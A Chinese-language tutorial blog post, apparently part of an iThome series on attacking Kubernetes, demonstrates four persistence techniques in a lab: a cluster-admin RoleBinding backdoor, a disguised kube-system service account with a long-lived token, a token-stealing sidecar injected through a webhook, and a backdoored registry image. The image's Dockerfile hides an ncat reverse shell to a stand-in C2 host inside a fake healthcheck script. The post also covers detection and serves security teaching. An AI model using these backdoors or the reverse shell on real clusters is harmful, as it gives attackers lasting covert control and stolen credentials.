iT邦幫忙

2026 iThome 鐵人賽

DAY 6
0
Kubernetes

資安這條路:從攻擊者視角看 Kubernetes系列 第 6 篇

Day 6|五種持久化:RBAC 竄改 + 後門 SA + Sidecar 注入 + 映像植入

  • 分享至 

  • xImage
  •  

資安這條路:從攻擊者視角看 Kubernetes

ATT&CK TA0003 Persistence——攻擊者如何確保即使被發現、被踢出,仍能回到叢集。

概覽

Persistence 是 ATT&CK 中技術數量最多的戰術(7 個技術),因為攻擊者必須在多個層面埋下後門才能確保持久存取。與傳統主機上的持久化(crontab、systemd、registry run key)不同,K8s 的持久化發生在 API 物件層面——修改的是 YAML 資源,不是檔案系統。

場景 ATT&CK 技術 攻擊手法 隱蔽性
S09 T1098 Account Manipulation 新增 ClusterRoleBinding 給攻擊者 SA 中
S10 T1136 Create Account 在 kube-system 建立隱藏 SA + cluster-admin 高
S11 T1543 Create/Modify System Process Mutating Webhook 注入惡意 Sidecar 很高
S12 T1525 Implant Internal Image 後門映像推入私有 Registry 很高
S07 T1053 Scheduled Task/Job (共用)CronJob 持久化 中
S03 T1078 Valid Accounts (共用)維持竊取的合法帳號 高
S02 T1133 External Remote Services (共用)維持外部遠端存取 低

其中 S07、S03、S02 在前幾天已經介紹過,今天聚焦在 S09–S12 四個專屬 Persistence 的場景。


前置準備

所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。

開始前請確認以下環境就緒。

1. 確認靶場資源運行中

# 主機終端
kubectl get pods -n koad -l "koad-scenario in (S09,S10,S11,S12)"
kubectl get sa -n koad attacker-sa
kubectl get sa -n kube-system system-controller

預期結果: Pod 為 Running 狀態,SA 已建立。

如果資源不存在,重新部署:

kubectl apply -f scenarios/persistence/

2. 開啟 Falco 即時監控

# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|rbac\|clusterrole\|webhook\|registry"

學習目標

完成本日實作後,你將能夠:

  • 建立後門 ClusterRoleBinding 將任意 SA 提升為 cluster-admin
  • 在 kube-system 中建立偽裝的後門 SA 並取得長期 Token
  • 理解 MutatingWebhookConfiguration 如何被用於 Sidecar 注入攻擊
  • 操作私有 Registry 並理解映像植入攻擊的供應鏈風險
  • 觀察 Audit Log 如何偵測 RBAC 異動

S09:RBAC 竄改(T1098)

攻擊原理

RBAC 是 Kubernetes 的核心授權機制。攻擊者只要有建立 ClusterRoleBinding 的權限,就能把任何 ServiceAccount 提升為 cluster-admin——這是 K8s 環境中最簡單、最有效的持久化手段。

與傳統 Linux 後門(如 crontab、systemd service)相比,RBAC 竄改有幾個優勢:

  • 隱蔽性高:一條 ClusterRoleBinding 混在幾十條合法綁定中,不容易被發現
  • 持久性強:除非明確刪除,ClusterRoleBinding 會一直存在
  • 跨 Namespace:ClusterRoleBinding 是叢集級別的,不受 Namespace 限制

RBAC 架構概述

先理解 RBAC 的四個核心物件:

ClusterRole        ← 定義「能做什麼」(叢集級別)
Role               ← 定義「能做什麼」(Namespace 級別)
ClusterRoleBinding ← 綁定「誰」+「ClusterRole」(叢集級別)
RoleBinding        ← 綁定「誰」+「Role 或 ClusterRole」(Namespace 級別)

攻擊者的選擇:

攻擊方式 範圍 隱蔽性 權限
ClusterRoleBinding → cluster-admin 叢集全域 低(太明顯) 最高
RoleBinding → admin(特定 NS) 單一 NS 高 該 NS 完整權限
ClusterRoleBinding → 自訂 Role 叢集全域 高 可精確控制

聰明的攻擊者不會直接綁定 cluster-admin(太容易被發現),而是建立一個自訂 ClusterRole,只給「剛好夠用」的權限:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: system-monitoring  # 偽裝成監控用途
rules:
  - apiGroups: [""]
    resources: ["pods/exec"]       # 在任意 Pod 執行指令
    verbs: ["create"]
  - apiGroups: [""]
    resources: ["secrets"]         # 讀取 Secrets
    verbs: ["get", "list"]
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list"]

這條 ClusterRole 看起來像合法的監控需求,但實際上給了攻擊者 pods/exec + 讀取 Secrets 的能力——足以在叢集中為所欲為。

KOAD 場景

# 1. 建立攻擊者 SA
apiVersion: v1
kind: ServiceAccount
metadata:
  name: attacker-sa
  namespace: koad
  labels:
    koad-scenario: S09
    mitre-attck: T1098

---
# 2. 綁定 cluster-admin
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: koad-attacker-admin
  labels:
    koad-scenario: S09
  annotations:
    description: "Attacker-created binding — escalates attacker-sa to cluster-admin"
subjects:
  - kind: ServiceAccount
    name: attacker-sa
    namespace: koad
roleRef:
  kind: ClusterRole
  name: cluster-admin       # 最高權限
  apiGroup: rbac.authorization.k8s.io

動手攻擊

以下所有步驟在主機終端執行(模擬攻擊者已取得 kubectl 存取權)。

步驟 1:建立後門 ClusterRoleBinding

# 主機終端
kubectl create clusterrolebinding backdoor \
    --clusterrole=cluster-admin \
    --serviceaccount=koad:attacker-sa

預期結果:

clusterrolebinding.rbac.authorization.k8s.io/backdoor created

一行 kubectl create 就建立了一個 cluster-admin 等級的後門——即使原始入侵路徑被修補,攻擊者仍可透過這個 ClusterRoleBinding 保持叢集完整控制權。

Falco 觀察:建立 ClusterRoleBinding 時,K8s Audit Log 會記錄此操作。如果啟用了 Falco k8s_audit plugin,會觸發告警:

[CRITICAL] Create ClusterRoleBinding to cluster-admin (user=system:admin binding=backdoor)

建立後門 ClusterRoleBinding 綁定 cluster-admin

步驟 2:驗證攻擊者權限

kubectl auth can-i --list --as=system:serviceaccount:koad:attacker-sa | head -3

預期結果:

Resources   Non-Resource URLs   Resource Names   Verbs
*.*         []                  []               [*]
            [*]                 []               [*]

攻擊者現在是 cluster-admin——可以做任何事。

驗證後門 SA 已取得 cluster-admin 權限

步驟 3:列出所有高權限綁定

kubectl get clusterrolebindings -l koad-scenario

預期結果:

NAME                        ROLE                        AGE
koad-attacker-admin         ClusterRole/cluster-admin   39m
koad-overprivileged-binding ClusterRole/cluster-admin   39m
system-controller-binding   ClusterRole/cluster-admin   39m

三個 ClusterRoleBinding 都綁定了 cluster-admin——攻擊者建立了多個後門。system-controller-binding 的名稱刻意偽裝成系統元件,增加了被發現的難度。

列出 KOAD 場景建立的所有 ClusterRoleBinding

枚舉現有 RBAC(攻擊者偵察)

攻擊者在竄改 RBAC 之前,通常會先了解現有的權限配置:

# 列出所有 ClusterRoleBinding 及其 subjects
$ kubectl get clusterrolebindings -o json | \
    jq -r '.items[] | "\(.metadata.name)\t\(.roleRef.name)\t\(.subjects // [] | map("\(.kind)/\(.namespace // "cluster")/\(.name)") | join(","))"' | \
    column -t -s $'\t'

# 找出所有綁定到 cluster-admin 的 binding
$ kubectl get clusterrolebindings -o json | \
    jq '.items[] | select(.roleRef.name == "cluster-admin") |
    {name: .metadata.name, subjects: [.subjects[]? | "\(.kind)/\(.name)"]}'

# 找出有 secrets 讀取權限的 ClusterRole
$ kubectl get clusterroles -o json | \
    jq '.items[] | select(.rules[]? | .resources[]? == "secrets") | .metadata.name'

為什麼特別危險

即使管理員發現並刪除了攻擊者的 Pod,只要 koad-attacker-admin 這條 ClusterRoleBinding 還在,攻擊者隨時可以用 attacker-sa 的 Token 重新連入叢集。

設計理由

S09 選擇直接綁定 cluster-admin 而非自訂 ClusterRole,是為了讓學員在 kubectl get clusterrolebindings 中一眼看出異常,建立「先能辨識,再練隱蔽」的學習路徑。YAML 中刻意加上 koad-scenario label 和 description annotation,方便與真實系統元件區分,同時示範攻擊者在實際環境中不會留下的線索。場景使用獨立的 attacker-sa 而非借用現有 SA,是為了完整呈現「建立帳號 → 提權 → 持久化」的完整路徑。

YAML 關鍵欄位解析

subjects:
  - kind: ServiceAccount
    name: attacker-sa        # 攻擊者自建的 SA,不是系統既有的
    namespace: koad          # 限制在 koad namespace,降低對靶場的衝擊

roleRef:
  kind: ClusterRole
  name: cluster-admin        # 叢集最高權限——生產環境絕不應該出現手動綁定
  apiGroup: rbac.authorization.k8s.io

roleRef 一旦建立就不可修改(K8s API 限制),攻擊者必須刪除再重建才能換綁定目標,這也是 Audit Log 偵測的關鍵特徵。


S10:後門 ServiceAccount(T1136)

攻擊原理

比起 S09 直接建 ClusterRoleBinding,S10 更進一步——在 kube-system namespace 中建立一個偽裝成系統元件的 ServiceAccount。

kube-system 是 K8s 核心元件所在的 Namespace,管理員通常不會仔細審查裡面的每個 SA。攻擊者利用這個盲點,建立名為 system-controller 的後門 SA。

為什麼 kube-system 是理想的藏身處?

$ kubectl get sa -n kube-system --no-headers | wc -l
35

# 看看裡面都有什麼——大量系統 SA 提供完美掩護
$ kubectl get sa -n kube-system -o name | head -10
serviceaccount/attachdetach-controller
serviceaccount/calico-kube-controllers
serviceaccount/calico-node
serviceaccount/certificate-controller
serviceaccount/clusterrole-aggregation-controller
serviceaccount/coredns
serviceaccount/cronjob-controller
serviceaccount/daemon-set-controller
serviceaccount/default
serviceaccount/deployment-controller

35 個 SA,名稱全部是 xxx-controller 或 xxx-node 的格式。多一個 system-controller 完全不突兀。

K8s 1.24+ Token 變更

K8s 1.24 移除了 SA Token 的自動建立。在 1.24 之前,每個 SA 都會自動產生一個永不過期的 Secret Token。1.24+ 後,需要手動建立:

# 手動建立持久 Token(K8s 1.24+)
apiVersion: v1
kind: Secret
metadata:
  name: system-controller-token
  namespace: kube-system
  annotations:
    kubernetes.io/service-account.name: system-controller  # 綁定到後門 SA
type: kubernetes.io/service-account-token

或者使用 TokenRequest API 取得短期 Token:

# 建立有效期 1 年的 Token(攻擊者的選擇)
$ kubectl create token system-controller \
    -n kube-system \
    --duration=8760h
eyJhbGciOiJSUzI1NiIsImtpZCI6...

安全影響: K8s 1.24 的變更讓後門 SA 的維護更困難——攻擊者必須定期重新產生 Token。但使用 Secret 類型的 Token 可以繞過這個限制。

KOAD 場景

# 1. 在 kube-system 建立偽裝的 SA
apiVersion: v1
kind: ServiceAccount
metadata:
  name: system-controller          # 看起來像系統元件
  namespace: kube-system           # 藏在核心 Namespace
  labels:
    koad-scenario: S10
  annotations:
    description: "Backdoor SA disguised as system component"

---
# 2. 綁定 cluster-admin
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: system-controller-binding
subjects:
  - kind: ServiceAccount
    name: system-controller
    namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

---
# 3. 手動建立持久 Token
apiVersion: v1
kind: Secret
metadata:
  name: system-controller-token
  namespace: kube-system
  annotations:
    kubernetes.io/service-account.name: system-controller
type: kubernetes.io/service-account-token

動手攻擊

以下所有步驟在主機終端執行。

步驟 1:確認後門 SA 存在

# 主機終端
kubectl get sa system-controller -n kube-system

預期結果:

NAME                SECRETS   AGE
system-controller   0         39m

後門 SA 建在 kube-system namespace 中,名稱偽裝成系統元件 system-controller——管理員很難在眾多系統 SA 中注意到它。

確認後門 SA 已建立在 kube-system 中

步驟 2:取得後門 SA 的 Token

kubectl get secret system-controller-token -n kube-system \
    -o jsonpath='{.data.token}' | base64 -d

預期結果:

eyJhbGciOiJSUzI1NiIsImtpZCI6Im...

取得了 JWT 格式的長期 Token。這個 Token 不會自動過期(非 Bound Token),攻擊者可以在任何地方用它存取叢集。

取得後門 SA 的長期 Token

步驟 3:用竊取的 Token 存取叢集

kubectl --token="$TOKEN" get nodes

預期結果:

NAME       STATUS   ROLES           AGE
minikube   Ready    control-plane   2h

用後門 Token 成功列出節點——持久化完成。即使原始攻擊路徑(如 SSRF)被修補,攻擊者仍然可以用這個 Token 隨時回來。

用後門 Token 成功存取叢集

步驟 4:從任何位置連入

kubectl --server=https://api-server:6443 \
    --token="$TOKEN" \
    --insecure-skip-tls-verify \
    get pods -A

預期結果:

NAMESPACE     NAME                               READY   STATUS    RESTARTS   AGE
kube-system   kube-apiserver-minikube             1/1     Running   0          2h
kube-system   etcd-minikube                       1/1     Running   0          2h
koad          attacker-xxx                        1/1     Running   0          1h
...

只要有 Token 和 API Server 位址,攻擊者可以從任何網路位置連入叢集。

從外部網路用後門 Token 列出所有 Pod

偵測難點

# kube-system 中有多少 SA?
$ kubectl get sa -n kube-system --no-headers | wc -l
35

# 哪些是可疑的?(在 KOAD 中有 label 可以過濾)
$ kubectl get sa -n kube-system -o json | \
    jq '.items[] | select(.metadata.labels."koad-scenario" != null) | .metadata.name'
"system-controller"

在真實環境中沒有 koad-scenario label 可以過濾,管理員必須逐一比對每個 SA 是否是系統預設建立的。

設計理由

S10 把後門 SA 放在 kube-system 並命名為 system-controller,是為了展示攻擊者如何利用命名慣例掩護自己——35 個系統 SA 中多一個 xxx-controller 幾乎無法察覺。額外建立 kubernetes.io/service-account-token 類型的 Secret,是為了對比 K8s 1.24+ 預設的 Bound Token(短期、有 audience)與舊版長期 Token 的安全差異,讓學員理解為什麼升級 K8s 版本本身就是一種防禦。

YAML 關鍵欄位解析

apiVersion: v1
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: system-controller  # 綁定目標 SA
type: kubernetes.io/service-account-token  # 此類型會自動填入 SA 的 JWT Token

這種 Secret 一旦建立,K8s 會自動在 data.token 中填入不過期的 JWT。攻擊者不需要呼叫 TokenRequest API,Token 就靜靜地躺在 Secret 裡等待被取用。


S11:惡意 Sidecar 注入(T1543)

攻擊原理

Kubernetes 的 MutatingWebhookConfiguration 可以在 Pod 建立時自動修改 Pod Spec。攻擊者如果控制了一個 Mutating Webhook,就能在每個新建立的 Pod 中自動注入惡意 Sidecar 容器。

這是 Istio、Linkerd 等 Service Mesh 注入 Envoy proxy 的相同機制——只是攻擊者注入的不是 proxy,而是資料竊取工具。

使用者建立 Pod

MutatingWebhookConfiguration 完整範例

一個完整的惡意 Webhook 配置長這樣:

apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: pod-logging-injector    # 偽裝成日誌注入器
  labels:
    app: logging-infrastructure
webhooks:
  - name: inject.logging.internal
    admissionReviewVersions: ["v1"]
    sideEffects: None
    failurePolicy: Ignore       # 失敗時不阻擋 Pod 建立(避免引起注意)
    matchPolicy: Equivalent
    rules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE"]
        resources: ["pods"]
        scope: "Namespaced"
    namespaceSelector:
      matchExpressions:
        - key: kubernetes.io/metadata.name
          operator: NotIn
          values: ["kube-system", "kube-public"]  # 避免注入系統 Pod
    clientConfig:
      service:
        name: logging-injector-svc
        namespace: logging       # 看起來合法的 Namespace
        path: /mutate
      caBundle: LS0tLS1CRUdJ...  # Base64 編碼的 CA 證書

關鍵設計:

  • failurePolicy: Ignore:Webhook 掛掉時不影響正常 Pod 建立,避免引起注意
  • namespaceSelector:排除系統 Namespace,避免影響叢集穩定性
  • 名稱偽裝成 logging-injector:看起來像合法的日誌基礎設施

與 Istio Sidecar 注入的比較

特性 Istio 合法注入 惡意 Sidecar 注入
Namespace label istio-injection: enabled 無條件或偽裝 label
注入的容器 istio-proxy (Envoy) 任意惡意容器
功能 L7 流量代理 Token 竊取、資料外洩
failurePolicy Fail(阻擋不合規 Pod) Ignore(不引起注意)
來源 官方 Helm chart 攻擊者手動建立

KOAD 場景

S11 示範了一個被注入惡意 Sidecar 的 Pod:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: sidecar-injector-demo
  namespace: koad
spec:
  replicas: 1
  selector:
    matchLabels:
      app: sidecar-demo
  template:
    metadata:
      labels:
        app: sidecar-demo
        koad-scenario: S11
    spec:
      containers:
        # 正常的主應用
        - name: main-app
          image: nginx:1.27-alpine
          ports:
            - containerPort: 80

        # 惡意 Sidecar——偽裝成日誌收集器
        - name: logging-agent
          image: busybox:1.36
          command: ["sh", "-c"]
          args:
            - |
              echo "=== KOAD-S11: Malicious Sidecar ==="
              echo "This sidecar reads SA tokens and env vars"
              while true; do
                echo "[$(date)] Sidecar heartbeat — exfil simulation"
                # 真正的攻擊:讀取 SA Token
                TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
                # 真正的攻擊:讀取環境變數(可能包含密碼)
                env | grep -i -E "pass|key|secret|token" 2>/dev/null
                sleep 300
              done
          volumeMounts:
            - name: sa-token
              mountPath: /var/run/secrets/kubernetes.io/serviceaccount
              readOnly: true
      volumes:
        - name: sa-token
          projected:
            sources:
              - serviceAccountToken:
                  path: token

偵測方式

# 列出所有 MutatingWebhookConfiguration
$ kubectl get mutatingwebhookconfigurations
NAME                                   WEBHOOKS   AGE
kyverno-policy-mutating-webhook-cfg    1          1h
kyverno-resource-mutating-webhook-cfg  1          1h

# 檢查是否有可疑的 Webhook
$ kubectl get mutatingwebhookconfigurations -o json | \
    jq '.items[] | {name: .metadata.name, webhooks: [.webhooks[].clientConfig.service.name]}'

# 檢查 Pod 是否有多餘的容器
$ kubectl get pods -n koad -o json | \
    jq '.items[] | select(.spec.containers | length > 1) |
    {pod: .metadata.name, containers: [.spec.containers[].name]}'

如果看到不屬於已知系統(Kyverno、Istio、cert-manager)的 Webhook,就需要深入調查。

設計理由

S11 選擇 MutatingWebhook 而非直接修改 Deployment,是因為 Webhook 注入具有自動傳播性——攻擊者只需建立一次,所有新 Pod 都會被感染,這是其他持久化手法做不到的。KOAD 用 busybox:1.36 模擬惡意 Sidecar 而非真正的 C2 agent,確保靶場安全的同時保留了完整的攻擊邏輯(讀取 SA Token + 環境變數)。failurePolicy: Ignore 是設計重點——它讓 Webhook 掛掉時不影響正常部署,攻擊者不會因為 C2 斷線而暴露自己。

YAML 關鍵欄位解析

containers:
  - name: logging-agent     # 偽裝成日誌收集器,管理員不會起疑
    image: busybox:1.36     # 極小映像,不引入額外攻擊工具特徵
    volumeMounts:
      - name: sa-token
        mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        readOnly: true      # 唯讀掛載 SA Token——這是 Sidecar 的核心目標

Sidecar 與主容器共享同一個 Pod 的 SA Token。如果主容器的 SA 有高權限(如 pods/exec),Sidecar 也能用同樣的 Token 操作叢集。


S12:植入後門映像(T1525)

攻擊原理

攻擊者把含有後門的映像推入企業內部的 Registry,取代合法映像。當其他團隊拉取「正常」映像時,實際上執行的是被植入後門的版本。

攻擊鏈:

1. 拉取合法映像:nginx:1.27-alpine
2. 加入後門層:反向 Shell / 資料竊取 / 挖礦
3. 重新 tag:private-registry:5000/nginx:1.27-alpine
4. 推入內部 Registry
5. 受害者拉取「nginx」→ 執行後門

後門映像的建立方式

攻擊者使用多階段 Dockerfile,在合法映像上疊加後門層:

# 基於合法的 nginx 映像
FROM nginx:1.27-alpine

# 安裝攻擊工具(看似無害的套件名稱)
RUN apk add --no-cache curl socat nmap-ncat && \
    # 清除 APK cache 減少痕跡
    rm -rf /var/cache/apk/*

# 加入反向 Shell 腳本
COPY --chmod=755 <<EOF /usr/local/bin/healthcheck.sh
#!/bin/sh
# 偽裝成健康檢查,實際是反向 Shell
while true; do
  /usr/bin/ncat -e /bin/sh attacker.c2.server 4444 2>/dev/null
  sleep 300
done
EOF

# 修改 entrypoint 同時啟動 nginx 和後門
RUN echo '/usr/local/bin/healthcheck.sh &' >> /docker-entrypoint.d/99-backdoor.sh && \
    chmod +x /docker-entrypoint.d/99-backdoor.sh

OCI 映像層架構

理解 OCI 映像的層(Layer)架構有助於偵測後門:

docker history nginx:1.27-alpine
IMAGE          SIZE      COMMENT
abc123         0B        CMD ["nginx" ...]
def456         5.2MB     # nginx binary
ghi789         7.1MB     # base alpine

docker history private-registry:5000/nginx:1.27-alpine
IMAGE          SIZE      COMMENT
xxx000         4.2KB     # backdoor script     ← 多了這幾層!
yyy111         12.3MB    # curl + socat + ncat  ← 明顯異常
abc123         0B        CMD ["nginx" ...]
def456         5.2MB     # nginx binary
ghi789         7.1MB     # base alpine

使用 dive 工具可以逐層檢查映像內容:

$ dive private-registry:5000/nginx:1.27-alpine
# 視覺化每一層添加/修改了哪些檔案

KOAD 場景

S12 部署了一個未認證的私有 Registry:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: private-registry
  namespace: koad-registry
spec:
  replicas: 1
  selector:
    matchLabels:
      app: registry
  template:
    metadata:
      labels:
        app: registry
    spec:
      containers:
        - name: registry
          image: registry:2
          ports:
            - containerPort: 5000
          env:
            - name: REGISTRY_STORAGE_DELETE_ENABLED
              value: "true"       # 允許刪除映像(攻擊者替換用)
---
apiVersion: v1
kind: Service
metadata:
  name: private-registry
  namespace: koad-registry
spec:
  type: NodePort
  ports:
    - port: 5000
      nodePort: 30500             # 對外暴露

動手攻擊

以下所有步驟在主機終端執行。

步驟 1:查看 Registry 中的映像

# 主機終端
curl -s http://$(minikube ip):30500/v2/_catalog

預期結果:

{"repositories":[]}

Registry 目前是空的——接下來模擬攻擊者推入後門映像。

查看私有 Registry 中的映像列表

步驟 2:拉取正常映像並重新 tag

docker pull nginx:1.27-alpine

預期結果:

1.27-alpine: Pulling from library/nginx
Digest: sha256:6af79ae5...
Status: Downloaded newer image for nginx:1.27-alpine

從 Docker Hub 拉取 nginx 映像到本機——作為被污染映像的基底。

docker tag nginx:1.27-alpine $(minikube ip):30500/nginx:1.27-alpine

預期結果:

(無輸出,tag 已建立)

將合法映像重新標記(tag)為目標 Registry 的位址。下一步推送時,這個映像就會覆蓋 Registry 中的原始映像——所有拉取它的 Pod 都會執行被植入後門的版本。

拉取 nginx 映像並重新標記為私有 Registry 位址

步驟 3:推入後門映像到私有 Registry

docker push $(minikube ip):30500/nginx:1.27-alpine

預期結果:

The push refers to repository [192.168.49.2:30500/nginx]
...
1.27-alpine: digest: sha256:xxx size: 1568

受害者拉取時會取得被植入的版本——如果攻擊者在 tag 之前修改了映像(加入後門),所有使用這個 Registry 的服務都會被感染。

推入可能包含後門的映像到私有 Registry

為什麼 latest tag 特別危險

latest 是 Docker 的預設 tag,它不指向任何固定版本。攻擊者只要推一個新映像覆蓋 latest,所有使用 image: nginx:latest 的 Deployment 在下次重啟時就會拉到後門版本。

# 危險
image: nginx:latest

# 安全
image: nginx:1.27-alpine

# 最安全——使用 digest
image: nginx@sha256:6af79ae5de407283dcea8b00d5c37ace95441fd58a8b1d2aa1ed93f5511bb18c

設計理由

S12 部署了一個未認證的私有 Registry(無 TLS、無 auth),是為了展示企業內部 Registry 常見的配置錯誤——很多團隊假設內網是安全的,不設認證。REGISTRY_STORAGE_DELETE_ENABLED: "true" 允許刪除映像,讓攻擊者可以刪掉原始映像再推入後門版本,實作完美替換。場景使用 NodePort 30500 暴露 Registry,模擬生產環境中 Registry 被意外暴露到外部網路的情況。

YAML 關鍵欄位解析

env:
  - name: REGISTRY_STORAGE_DELETE_ENABLED
    value: "true"            # 允許 DELETE API——攻擊者可刪除原始映像再替換

spec:
  type: NodePort
  ports:
    - port: 5000
      nodePort: 30500        # 對外暴露,無需認證即可 push/pull

沒有 TLS 意味著映像傳輸是明文的(可被中間人攻擊),沒有認證意味著任何能存取 30500 連接埠的人都能推入映像。這兩個缺陷加在一起,讓供應鏈攻擊變得極為簡單。


持久化的隱蔽性比較

技術 隱蔽性 持久性 範圍 偵測難度 所需權限
S09 RBAC 竄改 中 高(需手動刪除) 叢集 中(audit log) RBAC 管理權限
S10 後門 SA 高 高 叢集 高(混入系統 SA) kube-system 寫入
S11 Sidecar 注入 很高 很高(自動感染新 Pod) 叢集 很高(Webhook 不常被審計) admissionregistration 權限
S12 映像植入 很高 很高(供應鏈感染) 跨叢集 高(需映像簽章驗證) Registry 推送權限
S07 CronJob 低 中(可排程) Namespace 低(kubectl get cronjobs) Pod 建立權限

現實案例

TeamTNT(2020-2022)

TeamTNT 是最知名的 K8s/容器攻擊組織之一,他們的持久化手法包括:

  • RBAC 竄改:建立 clusterrole-aggregation-controller-admin 等偽裝名稱的 ClusterRoleBinding
  • CronJob:在 kube-system 中建立名為 kube-controller 的 CronJob,定時下載挖礦程式
  • 映像植入:將挖礦映像推入被攻陷的 Registry,tag 為 pause:3.2(偽裝成 K8s 系統映像)

Hildegard 惡意軟體(2021)

Unit 42 發現的 Hildegard 惡意軟體針對 K8s 叢集的攻擊:

  • 透過 kubelet API 初始存取
  • 建立 CronJob 持久化
  • 利用 tmate 建立反向 Shell(模擬 External Remote Services)
  • 部署 Monero 挖礦程式

Siloscape(2021)

首個已知的針對 Windows 容器的惡意軟體:

  • 透過容器逃逸取得 Node 存取
  • 在 K8s 中建立後門 ServiceAccount
  • 從 Tor C2 伺服器下載後續 payload

ATT&CK 攻擊鏈視角

Persistence 是攻擊者「回來」的保險——一旦埋好後門,即使初始存取管道被關閉也無妨:

TA0001 Initial Access


偵測總結

場景 偵測工具 偵測方法 偵測規則
S09 RBAC 竄改 K8s Audit Log verb=create resource=clusterrolebindings 任何非管理員建立 CRB
S10 後門 SA K8s Audit Log kube-system 中新增 SA / Secret SA 數量基線比對
S11 Sidecar Kyverno 監控 MutatingWebhookConfiguration 變更 Webhook 白名單
S12 映像植入 Cosign / Trivy 映像簽章驗證 + 漏洞掃描 未簽章映像告警

Falco 偵測缺口: S09 和 S10 的偵測需要 k8s_audit 規則(非 syscall 規則)。KOAD 的 custom-rules.yaml 已準備好這些規則,但需要 Falco 的 k8saudit plugin 才能啟用。在 Day 25 會詳細說明配置方式。


CKS 考點對照

考點 本日內容 權重
RBAC 安全 ClusterRoleBinding 濫用與偵測 Cluster Hardening 15%
ServiceAccount 後門 SA + Token 持久化 Cluster Hardening 15%
Admission Webhook MutatingWebhook 安全風險 Supply Chain 20%
映像安全 Registry 安全 + tag 管理 Supply Chain 20%

清理與重設

完成攻擊演練後,清理攻擊過程中建立的後門資源:

# 主機終端
# 刪除 S09 建立的後門 ClusterRoleBinding
kubectl delete clusterrolebinding backdoor --ignore-not-found

# S10 和 S12 的靶場資源保留不動(它們是場景的一部分)
# 如需完全重設:
# kubectl delete -f scenarios/persistence/
# kubectl apply -f scenarios/persistence/

注意:不要刪除 system-controller-binding 和 koad-attacker-admin——它們是 KOAD 靶場的一部分,Day 7 防禦篇會用到。


Troubleshooting

問題 原因 解法
kubectl create clusterrolebinding 被拒絕 目前使用者沒有 RBAC 管理權限 用 minikube kubectl -- 或確認 kubeconfig 指向正確的 context
S10 的 system-controller-token Secret 中沒有 token 欄位 K8s 版本差異,Secret 尚未被 controller 填入 token 等幾秒後重新查詢,或改用 kubectl create token system-controller -n kube-system
docker push 到私有 Registry 失敗:http: server gave HTTP response to HTTPS client Docker 預設要求 HTTPS,但 KOAD Registry 用 HTTP 在 Docker daemon.json 加入 "insecure-registries": ["<minikube-ip>:30500"] 並重啟 Docker
S12 Registry Pod 一直 Pending koad-registry Namespace 不存在或資源不足 確認 kubectl get ns koad-registry 存在,檢查 Node 可用資源
curl http://$(minikube ip):30500/v2/_catalog 無回應 Registry Service 尚未就緒或 NodePort 被防火牆阻擋 確認 Pod Running 狀態:kubectl get pod -n koad-registry,嘗試 minikube service private-registry -n koad-registry --url

本日小結

你完成了什麼

  • [x] 建立後門 ClusterRoleBinding 將攻擊者 SA 提升為 cluster-admin(S09)
  • [x] 用 --as 參數驗證攻擊者 SA 的權限等級(S09)
  • [x] 確認 kube-system 中偽裝的後門 SA 並取得長期 Token(S10)
  • [x] 用後門 Token 從外部存取叢集(S10)
  • [x] 理解 MutatingWebhookConfiguration 的 Sidecar 注入機制(S11)
  • [x] 操作私有 Registry 推入可能含後門的映像(S12)
  • [x] 觀察 Audit Log 對 RBAC 異動的記錄

完成度自我檢查

  • [ ] 能執行 S09 建立後門 ClusterRoleBinding 並用 --as 驗證提權結果
  • [ ] 能在 kube-system 中識別 S10 偽裝的後門 ServiceAccount
  • [ ] 能解釋 MutatingWebhookConfiguration 如何被用於 S11 Sidecar 注入
  • [ ] 能操作 S12 私有 Registry 推入映像並理解 tag vs digest 的安全差異
  • [ ] 能從 Audit Log 中找到 RBAC 異動記錄
  • [ ] 能說明 K8s 持久化與傳統 Linux 持久化(crontab、systemd)的差異

關鍵帶走

  1. RBAC 竄改:一條 ClusterRoleBinding = 永久的 cluster-admin(聰明的攻擊者用自訂 Role 降低被偵測機率)
  2. 後門 SA:藏在 kube-system 中偽裝成系統元件(K8s 1.24+ 需要手動建立 Token Secret)
  3. Sidecar 注入:Mutating Webhook 讓每個新 Pod 都帶後門(與 Istio 同機制)
  4. 映像植入:供應鏈級別的攻擊,從 Registry 層面感染(用 digest 而非 tag 可防)

K8s 持久化的核心特徵:攻擊不在 OS 層面,而在 API 物件層面。傳統的 Host-based 偵測(如 OSSEC)看不到 RBAC 變更和 Webhook 配置——你需要 K8s Audit Log。

下一步

明天 Day 7 防禦篇:Audit Log 偵測 RBAC 異動 + Cosign 映像簽章 + Webhook 審計。



上一篇
Day 5|防禦執行:Admission Control + RBAC 最小權限
下一篇
Day 7|防禦持久化:Audit Log + RBAC 監控 + 映像簽章
系列文
資安這條路:從攻擊者視角看 Kubernetes 共 20 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言